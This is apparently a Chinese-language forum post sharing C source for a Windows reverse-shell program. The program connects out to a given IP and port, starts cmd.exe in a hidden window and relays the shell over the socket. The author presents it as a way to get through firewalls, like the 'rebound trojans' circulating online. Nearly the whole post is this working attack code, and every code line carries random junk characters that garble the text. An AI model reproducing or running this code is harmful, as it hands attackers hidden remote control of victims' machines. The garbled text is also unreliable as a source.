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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 F.)!3YE  
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/* ============================== -K[782Q  
Rebound port in Windows NT T#O??3/%$1  
By wind,2006/7 jvVi%k  
===============================*/ b8f+,2Tk  
#include !eJCM`cp  
#include ,5|d3dJS  
PVa o  
#pragma comment(lib,"wsock32.lib") F8+e,x  
^\:2}4Uj_  
void OutputShell(); jvzBh-!  
SOCKET sClient; * \HRw +cL  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; o;[bJ Z\^x  
[k]|Qi nk  
void main(int argc,char **argv) PzY)"]g  
{ T!Sj<,r+j  
WSADATA stWsaData; vRPS4@9'  
int nRet; }xFi& <  
SOCKADDR_IN stSaiClient,stSaiServer; #yc L'T`X%  
RH~3M0'0  
if(argc != 3) h<+ |x7u  
{ =ex'22  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5A&y]5-Q`  
return; V8O.3fo`[`  
} Q;nAPS  
Ewo*yY>  
WSAStartup(MAKEWORD(2,2),&stWsaData); (3*UPZv  
&2EBk=X  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4(vyp.f  
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stSaiClient.sin_family = AF_INET; 2:$ k  
stSaiClient.sin_port = htons(0); uG>nV  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S)%_weLW7  
ad!(z[F'Y  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,M3z!=oIGn  
{ # X.+  
printf("Bind Socket Failed!\n"); ~DLIzg7p!  
return; oj}"H>tTp  
} _eLVBG35z  
!k~z5z'=py  
stSaiServer.sin_family = AF_INET; zzvlI66e  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); AV@\ +0  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %B EC] h  
9e<Zgr?N  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ][Y^-Ak1  
{ 7SI)1_%G  
printf("Connect Error!"); ke/_k/  
return; W'_/6_c$!  
} GoE#Mxhxo  
OutputShell(); Su8'$CFz$.  
} OR+A_:c.D  
C]`eH *z~8  
void OutputShell() 6T^lS^  
{ v5T9Y-{`  
char szBuff[1024]; vW' 5 ` %  
SECURITY_ATTRIBUTES stSecurityAttributes; b2h":G|s  
OSVERSIONINFO stOsversionInfo; WfGH|u  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F ,G,b  
STARTUPINFO stStartupInfo; Fc0jQ@4=  
char *szShell; Ohl} X 1  
PROCESS_INFORMATION stProcessInformation; /~}_hO$S  
unsigned long lBytesRead; lVeH+"M?  
~SV Q;U)-  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /aUFc'5  
 ~q%  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *kaJ*Ti-/  
stSecurityAttributes.lpSecurityDescriptor = 0; ccO aCr  
stSecurityAttributes.bInheritHandle = TRUE; \_oy$>;  
F(CRq`  
W._G0b4}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [Hcaw   
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @)sc6 *lnW  
Sa] mm/ G  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &]nd!N  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oA3d^%(c  
stStartupInfo.wShowWindow = SW_HIDE; Mr6E/7g%  
stStartupInfo.hStdInput = hReadPipe; C<he4n.  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; K[ ?R[  
dE>v\0 3!8  
GetVersionEx(&stOsversionInfo); R!{7OkC  
f]}}yBte`  
switch(stOsversionInfo.dwPlatformId) 'yNPhI  
{ 5fHYc0  
case 1: .]Ybp2`"U  
szShell = "command.com"; Ea`OT+#h(*  
break; + x_ wYv  
default: y'rN5J:l  
szShell = "cmd.exe"; \:sk9k  
break; ?@a$!_  
} v+tO$QZ`  
^\YQ_/\~L  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~t9$IB  
(G5T%[/U  
send(sClient,szMsg,77,0); vug-n 8  
while(1) N&B>#:  
{ dy_.(r5[L]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \r]('x3S  
if(lBytesRead) $DV-Ieb  
{ fH!=Zb_{8  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); H!JWc'(<$  
send(sClient,szBuff,lBytesRead,0); EHWv3sR-  
} p#b{xK  
else -I vL+}K  
{ $i&\\QNn  
lBytesRead=recv(sClient,szBuff,1024,0); |!re8|JV_  
if(lBytesRead<=0) break; \|!gPc%s  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); u '@Ely  
} 9}whWh  
} 5}SXYA}  
&^ceOV0+  
return; <t6 d)mJ%  
}
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